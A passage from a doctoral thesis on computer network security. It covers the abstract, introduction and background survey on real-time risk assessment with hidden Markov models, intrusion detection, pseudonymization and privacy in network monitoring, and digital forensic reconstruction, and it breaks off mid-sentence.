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Abstract
With an increasingly digitally connected society comes complexity, uncertainty, and
risk. Network monitoring, incident management, and digital forensics is of increas-
ing importance with the escalation of cybercrime and other network supported seri-
ous crimes. New laws and regulations governing electronic communications, cyber
crimes, and data retention are being proposed, continuously requiring new methods
and tools.
This thesis introduces a novel approach to real-time network risk assessment
based on hidden Markov models to represent the likelihood of transitions between
security states. The method measures risk as a composition of individual hosts,
providing a precise, fine-grained model for assessing risk and providing decision
support for incident response. The approach has been integrated with an existing
framework for distributed, large-scale intrusion detection, and the results of the risk
assessment are applied to prioritize the alerts produced by the intrusion detection
sensors. Using this implementation, the approach is evaluated on both simulated
and real-world data.
Network monitoring can encompass large networks and process enormous
amounts of data, and the practice and its ubiquity can represent a great threat
to the privacy and confidentiality of network users. Existing measures for anonym-
ization and pseudonymization are analyzed with respect to the trade-off of perform-
ing meaningful data analysis while protecting the identities of the users. The results
demonstrate that most existing solutions for pseudonymization are vulnerable to a
range of attacks. As a solution, some remedies for strengthening the schemes are
i
ii
proposed, and a method for unlinkable transaction pseudonyms is considered.
Finally, a novel method for performing digital forensic reconstructions in a vir-
tual security testbed is proposed. Based on a hypothesis of the security incident in
question, the testbed is configured with the appropriate operating systems, services,
and exploits. Attacks are formulated as event chains and replayed on the testbed.
The effects of each event are analyzed in order to support or refute the hypothesis.
The purpose of the approach is to facilitate reconstruction experiments in digital
forensics. Two examples are given to demonstrate the approach; one overview ex-
ample based on the Trojan defense and one detailed example of a multi-step attack.
Although a reconstruction can neither prove a hypothesis with absolute certainty,
nor exclude the correctness of other hypotheses, a standardized environment com-
bined with event reconstruction and testing can lend credibility to an investigation
and can be a valuable asset in court.
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Introduction
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i kot og i krokom.
For d’er uvist a˚ vita
kvar uvener sit
fyre din fot.
H˚avam˚al [B178]
This thesis considers several novel methods for managing risk, privacy, and security
in computer networks, specifically related to the fields of network monitoring and
digital forensics. This chapter outlines its central objectives and motivations.
1.1 Background and Motivation
Computer and communication technology has developed beyond all expectations,
and we find interconnected computers in virtually every home in the developed
world; computer networks are the backbones of most organizations, both corporate
and government. According to [B151], there are more than 1 billion Internet users in
the world as of 2005, and the number of users is growing rapidly. With new technol-
ogy follows increasing complexity, uncertainty, and risk. The Internet, for example,
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is a network of networks consisting of competing and concurrent technologies with
millions of users from different organizations and countries. Unfortunately, the code
that implements the technologies that we depend on is generally unpredictable; for
every bug fixed, a new bug may be discovered; and any unexpected event may result
in an error or malfunction. The security challenges associated with this develop-
ment have been addressed by a number of methods and tools for improving security
and preventing intrusions and abuse. However, with new technologies follows new
vulnerabilities, and there is a a growing need for research and development in the
field or risk, privacy, and security in computer networks.
1.2 Objectives and Contributions
The central objective of this thesis is to study and improve methods for improving
security and privacy in computer networks. The thesis is divided into three main
topics, and each topic is covered by a separate chapter. The objectives of each topic
is described below.
First, this thesis considers a method for the dynamic evaluation of risk, based
on underlying network and risk models. The thesis describes and evaluates a novel
method for performing real-time risk assessment based on heterogeneous data from
multiple sensors. The approach is based on hidden Markov models, and it is adapted
to support both discrete-time and continuous-time sensor input. Two different ap-
proaches to the use of multiple sensors are considered. The method is validated
using discrete-event simulations, as well as with synthetic and real-life traffic data.
A prototype has been built as a proof-of-concept and as a platform for evaluations.
The proposed scheme is based on distributed network monitoring, where multi-
ple heterogeneous sensors provide timely and scalable detection of erroneous and
malicious behavior.
Second, the thesis considers the privacy aspects of network monitoring. With
any monitoring or surveillance system follows the threat of compromised privacy
and confidentiality for the monitored subjects. This is particularly important where
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monitoring data is shared between multiple parties or even made publicly available.
This thesis outlines some major vulnerabilities in current schemes for preserving pri-
vacy in network monitoring. Several attacks are outlined against existing pseudo-
nymization schemes, and some remedies are proposed to strengthen the existing
schemes. However, as even the strengthened schemes are vulnerable to a resource-
ful attacker, a novel scheme for transaction pseudonymization is proposed. It is
shown that transaction pseudonymization gives far stronger protection against the
outlined attacks.
Last, the third topic is concerned with the area of incident response and digital
forensics. The ultimate objective of a forensic investigation is to identify the root
cause of an event. A forensic reconstruction can validate a hypothesis about a
chain of events describing a security incident, and an experimental approach for
testing in a virtual testbed is proposed as a part of a digital forensic reconstruction.
This thesis proposes a novel method for performing experimental digital forensic
reconstructions using the virtual testbed ViSe. This approach provides a platform
for efficient testing with significant resource savings, and it enables an investigator
to perform experiments to test a hypothesis about a chain of events. The main
motivation for this research is to provide an efficient method for scientific analysis
of digital evidence, aimed at providing a strong case in court.
The main research results have previously been published as conference papers,
which are appended in Appendices G to O. References to the papers and a detailed
description of the contributions made by the coauthors of the different papers are
provided in the introduction to the three main chapters.
1.3 Document Organization
This thesis is organized as follows.
Chapter 2 contains introductory and background material.
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Chapter 3 describes a novel method for real-time risk assessment using hidden
Markov models. It is in part based on [A9, A11, A10, A60].
Chapter 4 discusses privacy and security in network monitoring. Several attacks
on existing pseudonymity schemes are described, and a novel method for pseudo-
nymization is proposed. The chapter is in part based on [A22, A21, A89].
Chapter 5 studies a method for performing experimental testing in the virtual
security testbed ViSe as part of digital forensic reconstructions. The chapter is in
part based on [A7, A8].
Chapter 6 concludes this thesis and points out some important areas for future
research.
Appendix A contains some theoretical background for Chapter 3.
Appendix B contains the source code for JSIM in Java for the simulation pro-
gram that is used in Chapter 3.
Appendix C contains the source code for the real-time risk assessment prototype
implemented in C++ as part of STAT, as described in Chapter 3.
Appendix D contains details about the hash dictionary attack as outlined in
Chapter 4.
Appendix E contains more detailed algorithms for the attacks and improvements
as proposed in Chapter 4.
Appendix F contains detailed information about the multi-step attack that is
performed in the second example of Chapter 5.
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Appendix G contains a copy of the paper “Anonymization of IP Traffic Moni-
toring Data: Attacks on Two Prefix-Preserving Anonymization Schemes and Some
Proposed Remedies” by Tønnes Brekne, Andre´ A˚rnes, and Arne Øslebø [A22].
Appendix H contains a copy of the paper “Circumventing IP-Address Pseudo-
nymization” by Tønnes Brekne and Andre´ A˚rnes [A21].
Appendix I contains a copy of the paper “Non-Expanding Transaction Specific
Pseudonymization for IP Traffic Monitoring” by Lasse Øverlier, Tønnes Brekne,
and Andre´ A˚rnes [A89].
Appendix J contains a copy of the paper “Real-Time Risk Assessment with Net-
work Sensors and Intrusion Detection Systems” by Andre´ A˚rnes, Karin Sallhammar,
Kjetil Haslum, Tønnes Brekne, Marie E. Gaup Moe, and Svein J. Knapskog [A9].
Appendix K contains a copy of the paper “Digital Forensic Reconstruction and
the Virtual Security Testbed ViSe” by Andre´ A˚rnes, Paul Haas, Giovanni Vigna,
and Richard A. Kemmerer [A7].
Appendix L contains a copy of the paper “Using Hidden Markov Models to
Evaluate the Risks of Intrusions – System Architecture and Model Validation” by
Andre´ A˚rnes, Fredrik Valeur, Giovanni Vigna, and Richard A. Kemmerer [A11].
Appendix M contains a copy of the paper “Real-time Risk Assessment with
Network Sensors and Hidden Markov Models” by Andre´ A˚rnes, Karin Sallhammar,
Kjetil Haslum, and Svein J. Knapskog [A10].
Appendix N contains a copy of the paper “Multisensor Real-time Risk Assess-
ment using Continuous-time Hidden Markov Models” by Kjetil Haslum and Andre´
A˚rnes [A60].
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Appendix O contains a copy of the paper “Using a Virtual Security Testbed for
Digital Forensic Reconstruction” by Andre´ A˚rnes, Paul Haas, Giovanni Vigna, and
Richard A. Kemmerer [A8].
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Background
Frega og tala
den frode skal,
um vis han heite vil.
Det ein veit
er utrygt hj˚a tvo;
det tri veit um, det veit alle.
H˚avam˚al [B178]
This chapter contains background information with a survey of existing work rel-
evant to this thesis. The purpose of this chapter is to introduce the main areas
discussed in this thesis. The specific details for each of the remaining chapters are,
however, handled in the chapters themselves. A discussion of the of the Internet
and distributed systems is provided in Section 2.1. Risk, security, and assurance is
covered in Section 2.2, network monitoring and intrusion detection and response in
Section 2.3, privacy and data protection in Section 2.4, and finally digital forensics
and digital investigations in Section 2.5.
2.1 The Internet and Distributed Systems
The Internet is the descendant of the US Defense Advanced Research Projects
Agency (DARPA) project ARPANET, whose first node was connected in 1969. The
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core protocol suite, TCP/IP, was introduced when the National Science Foundation
(NSF) established a university network backbone in 1983. In 1991 Tim Berners-Lee
at CERN in Switzerland publicized the basic protocols for the World Wide Web
(WWW). The Internet was publicly known by the mid-nineties, and it is now an
integral part of our society with more than 1 billion users worldwide.
The Internet is a network of networks communicating according to a suite of
standardized protocols. The physical networks consist of a wide range of physical
media, including optical fiber, copper cable, and wireless networks. The communi-
cation is governed by layered protocols, according to the applications in use. Most
applications on the Internet rely on the Internet Protocol (IP) and the transport
protocols TCP and UDP. IP is a packet-based, connectionless protocol, designed to
transmit packets of data between a source address and a target address. It provides
no reliability in itself, but the ability to use different routes between hosts makes
the protocol resilient to changes and disruptions on the network. An IP packet is
routed between two hosts by intermediate routers. Each router makes a decision of
how to route its packets based on its routing policy.
Paul Baran discusses the survivability of this distributed configuration in [A15],
and this property can be viewed as one of the founding principles of the Internet.
Because of its inherent survivability, the Internet has a very dynamic and resilient
architecture, suitable both for its initial military purposes, as well as to the needs
of academia, governments, and the commercial sector. This architecture also makes
the Internet very hard to control, which can be both beneficial, as it can advance,
e.g., democratic participation and freedom of speech, or malevolent, as the very
same mechanisms make it very hard to defeat spam, hacking, and other criminal
activities on the Internet.
There are, however, still organizations that exercise some administrative or tech-
nical power over the Internet. Most notable, the Internet Assigned Numbers Au-
thority (IANA), operated by the Internet Corporation for Assigned Names and
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Numbers (ICANN), controls the addressing scheme of the Internet, and it has au-
thority when it comes to distributing IP addresses to organizations world-wide. The
Internet Society (ISOC) oversees a number of organizations, including the Internet
Engineering Task Force (IETF), which is responsible for developing and promoting
Internet standards. Other organizations that are involved in standards development
for the Internet are the World Wide Web Consortium (W3C), the International Or-
ganization for Standardization (ISO), and the International Electrotechnical Com-
mission (IEC).
2.2 Risk, Security, and Assurance
In 1988, the first Internet worm (called the Morris worm) disabled thousands of
hosts and made the Internet almost unusable (for a popular description of the event,
please see [A58]). In 2002, the DNS root servers were attacked by a distributed
denial-of-service (DDoS) attack specifically directed at these servers, threatening
to disrupt the entire Internet1. According to CERT, the number of computer at-
tacks (see Figure 2.1(a)) and system vulnerabilities (see Figure 2.1(b)) is growing
at a massive rate2. As our critical infrastructure, including for example telecom-
munication systems and power grids, becomes more connected and dependent on
digital systems, we risk the same types of attacks being used as weapons in criminal
actions, information warfare, and cyber terrorism.
As we have grown increasingly dependent on the Internet and its technologies,
our society has also become more vulnerable to attacks. New threats emerge both
against the critical infrastructures that we depend on, as well as against the privacy
and security of individuals. Risk management and security measures are essential
in order to counter these threats. Risk management refers to the process of iden-
tifying, assessing, and controlling risk, whereas risk assessment is the process of
1According to ISOC [B176], the attack caused no disruption in DNS service.
2CERT discontinued the publication of reported incidents in 2003, since automated attacks
started to dominate the statistics.
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Figure 2.1: CERT computer security statistics.
estimating the consequences and probability associated with identified risks. In
risk management terminology, a network or system has a number of stakeholders
with interest in the assets of the network. Unknown factors in a network or system
may represent vulnerabilities that in turn may cause unwanted incidents that lead
to breaches of confidentiality, integrity, and availability. A vulnerability can po-
tentially be exploited by a malicious attacker or computer program. The potential
exploitation of a vulnerability can be described as a threat, where a threat is any
possible circumstance or event that may be harmful to an information system. It
is possible to estimate the risk of a system by evaluating the probability and con-
sequence of unwanted incidents. The relationship between some of these terms, as
stated in the Coras project [B152], is illustrated in Figure 2.2. This figure only con-
tains the core terms, but it can easily be extended to include assets, stakeholders,
etc.
There are, of course, virtually unlimited amounts of possible threats and vulner-
abilities in computer systems and networks, but this thesis focuses on privacy and
security in large-scale networks, specifically on the Internet. Attacks against such
networks may be aimed to compromise confidentiality (e.g., corporate espionage),
integrity, or availability (often referred to as denial-of-service (DoS) attacks). As we
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Figure 2.2: Relationship between risk, vulnerability, and threats.
have grown increasingly dependent on the Internet, we can claim that the Internet
itself is a critical infrastructure, and we can only assume that many critical infras-
tructures in the physical world is vulnerable to attacks launched via the Internet.
Examples of digital critical infrastructures on the Internet are the DNS (Domain
Name Service) and the routing infrastructure on the Internet. Examples of sys-
tems that interfaces with the physical world are control systems for power grids
and telecommunications systems.
2.2.1 Risk and Security Management Standards and Rec-
ommendations
This section gives a brief overview of some of the most frequently used standards
and guidelines for risk and security management.
ISO/IEC 17799
The ISO/IEC 17799 standard [A66] is an information security standard published
in 2000 and revised under the new name ISO/IEC 27001:2005 [A67] in 2005. It
is based on the British Standard BS 7799-1:1999. Its purpose is to provide the
best practice recommendations on information security management with respect
to confidentiality, integrity, and availability. Note that security risk analysis is a
basic requirement of ISO 17799
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ISO/IEC 15408
The ISO/IEC 15408 standard [A63, A65, A64] was last revised in 2005. It is based
on the documents developed by the Common Criteria project, and it consists of
three parts, namely the introduction, the security functional requirements, and the
security assurance requirements. This standard is intended to provide assurance
about the process of specification, implementation, and evaluation of computer
security products and systems.
National Institute of Standards and Technology
The National Institute of Standards and Technology (NIST) published a recom-
mendation for risk management in information technology systems in 2002 [A120].
The recommendation is concerned with IT-related risk. It defines risk as “the net
negative impact of the exercise of a vulnerability, considering both the probability
and the impact of occurrence” and risk management as “the process of identify-
ing risk, assessing risk, and taking steps to reduce risk to an acceptable level”.
The recommendation provides a framework for performing risk management, with
practical steps to assessing and controlling risk. The recommendation is based
on [A121, A123].
AS/NZS
The AS/NZS 4360:2004 risk management standard [A116] by Standards Australia
and Standards New Zealand provides a general guideline for managing risk and
specifies the elements of the risk management process. The standard is accompanied
by a separate companion guideline [A117]. It defines a risk management process
in five core steps: establishing context, identifying the risks, analyzing the risks,
evaluating the risks, and treating the risks. In addition, the process specifies the
tasks of communication, monitoring, and reviewing.
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2.2.2 Model-based Risk Assessment
Coras [A42] is an integrated risk assessment platform built on several techniques,
including fault tree analysis and Markov analysis. Coras is suitable for risk as-
sessment based on UML models, and XML is used for data exchange. In order
to apply the Coras risk assessment platform, it is necessary to model the network
or distributed system in question at a sufficient level of abstraction. This can be
achieved through a top-down model refinement. In [A61], such a semiformal refine-
ment approach is proposed for UML through the use of positive (valid/desirable),
negative (invalid/undesirable), and inconclusive (irrelevant) traces, where a trace
is defined as ”a sequence of events ordered in time”. The traces can be refined
through supplementing (recategorizing inconclusive traces), narrowing (reducing
set of positive traces), and detailing (adding more detail without changing existing
traces).
Having reached a suitable level of refinement, one may perform the risk assess-
ment according to the Coras framework. This framework is directly applicable to
the UML models, and it aids the identification and analysis of risk frequency and
consequence. Through the Coras framework, one will identify and evaluate assets,
threats, vulnerabilities, unwanted incidents, and finally risks. As an example, fault
tree analysis may be used to quantitatively identify and assess unwanted incidents.
Based on frequency and consequence evaluations of these incidents, one may cal-
culate risks quantitatively and generate a network-wide risk matrix. For a more
detailed description of the use of Coras, please see e.g., [A51].
2.3 Network Monitoring and Intrusion Detection
Network monitoring is becoming increasingly important, both as a security measure
for corporate networks and in national security and law enforcement applications.
Governments are not only increasing their monitoring efforts, but they are also
introducing requirements for data retention in order to be able to access traffic
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data for the investigation of serious crimes and terrorism. In Europe, a directive
on data retention was passed in 2006 [A125]. However, as the level of complexity
and connectivity in information systems increases, effectively monitoring computer
networks is getting harder. Systems for efficient threat identification and assessment
are needed in order to handle the high-speed traffic.
In this thesis, different aspects of network monitoring will be considered. Net-
work monitoring is a broad term, covering both active and passive monitoring.
Active monitoring refers to the use of probes and active tracing technologies, while
passive monitoring refers to the recording of network data in order to perform cor-
responding analysis. In the field of network security, passive network monitoring
is the most prevalent technology, and this is also the primary focus in this thesis.
The use of passive monitoring to monitor the security of systems and networks have
been referred to as e.g., threat monitoring, intrusion detection, and security mon-
itoring, with slightly varying connotations. In the context of this thesis, however,
the primary task of network monitoring is to detect and identify unwanted incidents
associated with threats in order to initiate appropriate precautionary measures and
responses. Note that network monitoring depends on the use of sensors, which can
be any device or computer program designed to capture data.
There are currently several organizations on the Internet that monitor and pub-
lish security relevant trends and events. Most notably, the Computer Emergency
Response Team (CERT) [B147], established in 1988, alerts users about potential
threats on the Internet, and the Internet Storm Center [B159], established in 2001,
provides trend reports and warnings for its users. The Cooperative Association for
Internet Data Analysis (Caida) [B148] is another organization that provides tools
for and publishes analysis results based on Internet monitoring, and the European
Union is currently funding the specific support project Lobster [B163] for large-
scale monitoring of the backbone Internet infrastructure. The project is currently
in its implementation phase, and it is intended to provide a network monitoring
platform for performance and security measurements, both for researchers and for
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operational use.
2.3.1 Intrusion Detection
As discussed above, there are many terms for the monitoring of security of IT sys-
tems. Threat monitoring is a term currently used by for example the Internet Storm
Center. The term was used by NIST in [A6] in a publication regarding the monitor-
ing of internal and external threats to a computer system. Intrusion detection is the
specialized field of detecting attempts to attack and compromise computer systems.
Early work on intrusion detection was published by Denning in [A40]. The practice
of intrusion detection is discussed in several books, such as [A85]. Stefan Axelsson
published a survey and taxonomy for IDS in 2000 [A12]. The term security moni-
toring was used in [A18], with a formal description of a security monitoring system
with logging and auditing as its main components. In [A17] the term network se-
curity monitoring is defined as a process consisting of the collection, analysis, and
escalation of indications and warnings to detect and respond to intrusions.
With increasing complexity, intrusion detection becomes simultaneously more
important and more difficult. Networks are becoming increasingly complex, both
in terms of size, bandwidth, as well as traffic diversity. The current trend is that
computing is becoming ubiquitous and pervasive. In this setting, it is essential to
monitor the network in order to detect intrusions and abuse, and to assess risk.
In order to handle distributed, high performance systems, monitoring systems also
need to be distributed, and not dependent on central control or processing. Dis-
tributed intrusion detection systems have been demonstrated in several prototypes
and research papers, such as [A118, A108, A96], and central research topic is event
correlation (also referred to as alert correlation), i.e., the process of collecting and
relating information (see e.g., [A131, A74]). Correlation can be performed at mul-
tiple levels of abstractions. The successful use of event correlation may lead to
reduced amounts of data, fewer false positives (the term false positive refers to a
false alert) and negatives (the term false negative refers to the failure to detect a
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security incident), as well as more intelligent alerts. Multiagent systems for intru-
sion detection, was initially proposed in [A13] and demonstrated in e.g. [A62, A69].
An important development in distributed intrusion detection is the recent IDMEF
(Intrusion Detection Message Exchange Format) IETF Internet draft [A39]. It fa-
cilitates standardized messaging between sensors and analysis systems, and it is
used in distributed intrusion detection systems such as Prelude and STAT.
Threat and intrusion detection is based on data analysis. The data analysis is
either a type of signature or pattern detection, or a statistical analysis. In intrusion
detection, these are referred to as misuse detection and anomaly detection, respec-
tively. Misuse detection generates alerts based on known signatures of suspected
security incidents, whereas anomaly detection generates alerts based on knowledge
of normal traffic or use patterns. Another type of statistical analysis is data mining,
which is also applicable to intrusion detection, as discussed in e.g., [A75, A16, A78].
See also [A77] for a discussion on statistical analysis in computer intrusion detec-
tion and network monitoring. An IDS is often measured in terms of its ability to
avoid false positives and false negatives, and the reduction of false positives and
false negatives is an important research topic in the literature
Two recent research topics in network monitoring and intrusion detection are
the detection of Distributed Denial-of-Service (DDoS) and worm detection. Such
attacks can be efficient weapons in a larger attack scenario with devastating results.
The detection of zero-day worms is a problem that has provided inspiration for sev-
eral research projects [A4, A144], and the Wormblog [B168] is a resource for sharing
updated information about worms and worm research. Similarly, DDoS detection
has received much attention. [A80] and its predecessor [A81] contain studies of the
prevalence of DDoS attacks on the Internet, based on monitoring data from sample
corporations.
A related research topic is intrusion tolerance. Intrusion tolerance is a recent
research field in information security related to the fields of reliability and fault tol-
erance theory. The research project SITAR [A56] presents a generic state transition
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model, similar to the model used in Chapter 3 in this thesis, to describe the dy-
namics of intrusion tolerant systems. Probabilistic validation of intrusion tolerant
systems is presented in [A105].
2.3.2 Intrusion Response
In order for intrusion response to be effective, it has to be possible to effectively
initiate defensive measures, or to reconfigure the security mechanisms in order to
mitigate risk. These measures may be manual or automatic (or both), but they
should be initiated in an efficient manner. As a system detects an incident, one
of two actions can be taken: the information system or network can be automat-
ically reconfigured in order to reduce an identified risk, or the system can act as
a support system for system and network administrators by providing relevant in-
formation and recommending specific actions. To facilitate such an approach, it
may be necessary to provide a mechanism that relates detected security incidences
to appropriate responses based on the underlying risk model. Such a mechanism
should include a specification of countermeasures in the case of a particular inci-
dent, as well as information on who has the authority to initiate or authorize the
response.
Such adaptive measures can be introduced on a user level (e.g., access rights
can be revoked), or on a system or network level (e.g., VPN-connections to mo-
bile computers are disconnected or a network address is banned in a firewall).
Other examples include traffic rerouting or manipulation [B162], honeypot tech-
nologies [A110, A111, A112], and throttling [A14]. [A132, A99] contain discussions
of defensive mechanisms, whereas [A124, A128] discuss policy-driven reconfigura-
tion. A central question is whether there are “safe” methods for automatically
controlling and correcting risks, or whether such an approach creates more prob-
lems than it solves.
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2.3.3 Challenges in Network Monitoring
There are many challenges associated with the practice of network monitoring.
Some of the challenges related to intrusion detection in particular are discussed
in [B170]. The most significant issue is organizational; namely the issue of informa-
tion overload. Information is gathered from large high-speed networks for process-
ing, but the high volume of data and the technical complexity involved make it an
expensive venture to manage. In order to support analysts in making decisions, it is
necessary to organize and prioritize the monitoring data. However, this processing
may introduce false positives in itself, where an alert is issued despite the absence
of an incident, and false negatives, where no alert is issued despite the occurrence
of an incident. Alert correlation or alert fusion is a research topic that provides a
higher level view of security incidents in a network based on several sensors (see for
example [A131, A74]). Such systems may significantly reduce the volume of data
to be considered, but they can also introduce additional false negatives, depending
on the correlation algorithms in use.
Sensor Deployment
A major question when designing a network monitoring system with regards to
security is the placement of sensors in the network. High-bandwidth IDS systems
and sensors are expensive to purchase and maintain, and the most common solution
is to use IDS as part of protecting the network perimeter (such as the Internet
gateway). The disadvantage with this is that no internal activities within the actual
network is monitored. A successful breach of the perimeter or an insider may operate
without risk of detection in such an environment. Based on this, one could argue
for the deployment of a more distributed system with inexpensive sensors placed
throughout the network. One such solution includes placing sensors at each host,
possibly operating both as a NIDS (by monitoring the traffic) and as a HIDS (by
monitoring the host operating and file system). An example implementation of a
NIDS integrated with a network interface card is SafeCard [A37], which implements
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a network intrusion prevention system based on a network processor.
Performance Issues
Current high-speed Internet backbone infrastructure require that monitoring sys-
tems are able to handle extremely high bandwidths. Modern sensor technologies
allow monitoring up to 10Gb/s with limited onboard processing. At this rate, every
operation, such as pattern analysis, protocol reassembly, distributed analysis and
data storage becomes difficult, and it is often necessary to sample or filter data
even before analysis. Such approaches necessarily lead to the loss of information
and increases the probability of false negatives. Load balancing and hardware im-
plementations are two directions that have been studied in the literature. See [A141]
for some recent results in this field
Encryption and Anonymity
Depending on the analysis performed, encryption and anonymity can reduce the
possibility of detecting threats. Content-based analysis may not be possible when
commonly used encryption protocols such as SSL, SSH, PGP, and IPSEC are em-
ployed. On the other hand, even traffic-based analysis becomes difficult if anonymity
schemes are in use. Anonymity networking was introduced by Chaum [A30, A31],
and it has been further developed in e.g., [A43, A55].
Privacy and Confidentiality Issues
Network monitoring places a great responsibility on all involved parties for the con-
fidentiality and privacy of the data that is recorded and processed. The contents
of network traffic is obviously private and confidential, but even traffic data alone
can compromise a user’s privacy. This is particularly important in the cases where
monitoring data is shared between multiple parties. It is important that the data
is protected in such a way that only the minimum amount of data necessary for
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analysis is provided. Note that current solutions for protecting IP addresses in mon-
itoring data, such as for example prefix-preserving pseudonymization [A143], fail to
provide protection against simple cryptographic attacks, as discussed in Chapter 4.
Assessment
Much of the recent research on the analysis of network traffic has been done in
the field of intrusion detection systems (IDS). However, an IDS generates a large
volume of data, and it is in itself not sufficient for providing an overview of the
threats and risks in a computer network. The low level alerts and monitoring
data can be important in handling or investigating a case, but a higher level of
abstraction is necessary for managing the information flow and making the right
decisions. Data reduction through correlation, aggregation, and visualization tools
can be helpful in addressing this problem, but the challenges discussed above call
for more intelligent assessment applications, which are capable of identifying and
assessing threats and risks in a real-time environment. For this purpose, assessment
systems based on quantitative methods can be deployed to aid the decision-making
process. One such system for host based risk assessment system was published
in [A53], and a network-oriented system for quantitatively assessing risk based on
input from intrusion detection systems is proposed in Chapter 3 in this thesis.
2.3.4 Sensor Technologies
The basic component of any monitoring system is the sensor. A sensor is a device
or program that records and reacts to specific events, in our case network traf-
fic on a computer network. Different types of network monitoring systems exist,
with functionalities like data collection, filtering, and alert generation. The correct
placement of sensors is essential; ideally one should have full monitoring coverage,
without overlapping. Without full coverage, one may experience false negatives, i.e.,
some incidents may go undetected. In the following, we will provide an overview of
sensor technologies that may provide security relevant data.
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Network Sniffers
A network sniffer is the most fundamental sensor type in most network monitor-
ing applications. It is capable of intercepting and storing data from a network
connection. The amount of network traffic processed and stored can be limited
by applying a filter based on certain attributes in the network packet headers, by
preserving only parts of the data (such as the packet header), or by employing
sampling. Specialized hardware for reliable high-bandwidth sniffing was developed
as part of the EU Scampi project [A35], and there are also commercial products
available. Standards for logging network flows are, for example, IPFIX [A34] and
its predecessor NetFlow (a Cisco standard). In the context of lawful interception
of network traffic, a sniffer is often referred to as a wiretap.
Intrusion Detection Sensors
IDS technology has become widespread, available both as off-the-shelf products and
as outsourced solutions from security vendors. An IDS is intended to detect and
report possible attacks and malicious network activity. Intrusion detection systems
are classified according to several criteria. Based on the functionality of the IDS
sensors, they can be classified as either a host based IDS (HIDS) or a network based
IDS (NIDS). HIDS sensors monitor the integrity of hosts, whereas NIDS sensors
monitor network traffic based on data from network sniffers. See Section 2.3.1 for
further information on IDS.
System and Network Logging
Most computer systems implement some degree of logging to record events related
to the operating system, user activity, applications, and security specific events.
Logs usually contain timestamps and addresses regarding transactions, and they
can be vital in incident handling and criminal investigations. Logs can be found on
any computer system, including on servers, as well as in network components such
as firewalls and routers. Logs may be stored locally on each host, or there may be
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an infrastructure for centralized logging, using a standard protocol such as syslog.
Virus Detection
Virus detection is perhaps the most well-known security mechanism for the average
user on the Internet. It is used both as a security measure for workstations and
laptops and as part of network filtering mechanisms used for preventing viruses
embedded in e.g., email and web traffic. Virus detection systems have the capability
to detect and report malicious code (e.g., viruses and worms) and, in some cases, to
quarantine or remove the malicious code. Virus detection software may be managed
by central management systems for larger networks.
Production Honeypots
Honeypot technology is a data-collection tool suitable for both computer security
research and operational network monitoring. Lance Spitzner has published several
books on the issue [A111, A112, A110] and defined a honeypot as a “security re-
source whose value is in being probed, attacked or compromised”. Note that, in this
context, production honeypots have two main functions; as a sensor and as a means
of deception. Simple honeypots may not convince a competent attacker in the long
run, but the use of production honeypots may force an attacker to use time and
resources on mapping and identifying honeypots, thereby allowing the honeypots
to gather information about the tools and methods used. Honeypots are also used
as tools for detection and analysis of zero-day worms [A36, A102].
2.4 Privacy and Data Protection
Privacy is becoming an increasingly important topic, as monitoring applications are
becoming ubiquitous. Nearly all systems that we interact with leave digital tracks,
including payment transactions, telecommunication services, passes for toll roads
and public transportation, etc. In addition to these examples, any activity on the
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Internet leaves a digital track both on the client devices, on third party systems,
and of course on the services that are being used. There are big commercial actors
that acquire and use private information for commercial purposes, such as directed
marketing, and nation states and law enforcement naturally have an interest as
well. The end user, whose privacy is at stake has very little control of the situation,
and the media has repeatedly reported on how private data is stolen and misused,
causing for example identity theft and spamming problems.
2.4.1 Regulatory Measures
The right to privacy is not a new concept, but the rapid technological and social
change has put our privacy under great pressure. To counter this, privacy, or data
protection, is on the agenda of nation states and international organizations. The
purpose of most of these efforts is to protect the privacy of the consumer from
commercial actors. Law enforcement and national security services are, however,
often exempted. OECD presented a guideline regarding the protection of privacy
and transborder flows of personal data as early as in 1980 [A87], and the UN pub-
lished their guidelines concerning computerized personal data files in 1998 [A129].
The European Parliament adopted a directive on the protection of individuals with
regard to the processing of personal data in 1995 [A126], and this directive has
subsequently been adopted by most member states. The directive defines personal
information as “any information relating to an identified or identifiable natural per-
son (data subject); an identifiable person is one who can be identified, directly or
indirectly, in particular by reference to an identification number or to one or more
factors specific to his (...) identity”. See [A24] for a comprehensive reference on
data protection law.
2.4.2 Privacy Enhancing Technologies
Another reaction to the threats to privacy is the development of technical measures,
referred to as privacy enhancing technologies (PET). The key motivation for these
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measures is that privacy can not be sufficiently protected by legislation and codes
of conduct alone [A46, page 30]. According to [A23], the term privacy enhancing
technologies refers to “technical and organizational concepts that aim at protecting
personal identity”. Examples of PET are anonymity networks, pseudonymization
techniques (as discussed in Chapter 4 of this thesis), and encryption tools. There has
been some criticism of the limitations of PET (see [A23] in [A2]), and some solutions
have failed to see widespread use, such as the Platform for Privacy Preferences
(P3P) [A135]. However, with increasing focus on the topic and an increasing amount
of PET research, PET seems to have established its role as a complement to the
data protection legislations discussed above.
2.5 Digital Forensics
Forensic science refers to the application of scientific methods to establish factual
answers to legal problems both in criminal and civilian cases. Computer forensics or
digital forensics refers to forensic science as applied to digital media, whereas digital
investigations refers to the more general field of performing investigations in the
digital domain. Other terms, such as network forensics, device forensics, Internet
forensics, etc., are often used to label specialized fields within digital forensics.
Digital forensics is growing in importance, both as a central field in law enforce-
ment and civilian law and as a research field in itself. As information technology
is becoming an integral part of our society, most legal cases have an aspect of digi-
tal forensics, involving e.g., mobile phones, credit card transactions, email systems,
Internet logs, GPS systems, etc. As many types of digital evidence can be volatile
and easily manipulated, the preservation of chain of custody, or evidence integrity,
through the use of standardized forensic tools and methods, has become extremely
important.
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2.5.1 The Digital Crime Scene and Digital Evidence
The digital crime scene can consist of a number of computing and storage devices,
as well as the network connecting them. Digital evidence is any digital data that
contains reliable information that supports or refutes a hypothesis about an inci-
dent. Digital evidence may be found on the hard drives or in the volatile memory of
all the involved hosts, as well as in captured network traffic, referred to as network
dumps. A variant of the network dump is preprocessed network traffic, such as net-
work intrusion detection system alert logs. All analysis is assumed to be performed
on copies of the evidence in order to preserve its integrity.
2.5.2 Internet Investigations
A central issue in assessing and responding to an attack on the Internet is the
identification and localization of the attackers. An attack can be launched using
a large number of hosts, in which case fast and accurate identification and tracing
is crucial for handling and responding to the attack. In the digital world of the
Internet, however, there are many cases where a successful trace is difficult or
impossible. The design of the Internet, as well as services that hide the origin of
communication and provide anonymity, complicate tracing and create a need for a
wide range of tools for tracing.
We refer to a digital address as any address that identifies a user, host, or ser-
vice on the Internet. Examples of digital addresses are Ethernet MAC addresses,
IP addresses, AS numbers, DNS domain names, URLs, email addresses. Internet
Assigned Numbers Authority (IANA) is the highest authority for the allocation of
IP addresses and AS numbers. A host on the Internet is associated with multiple
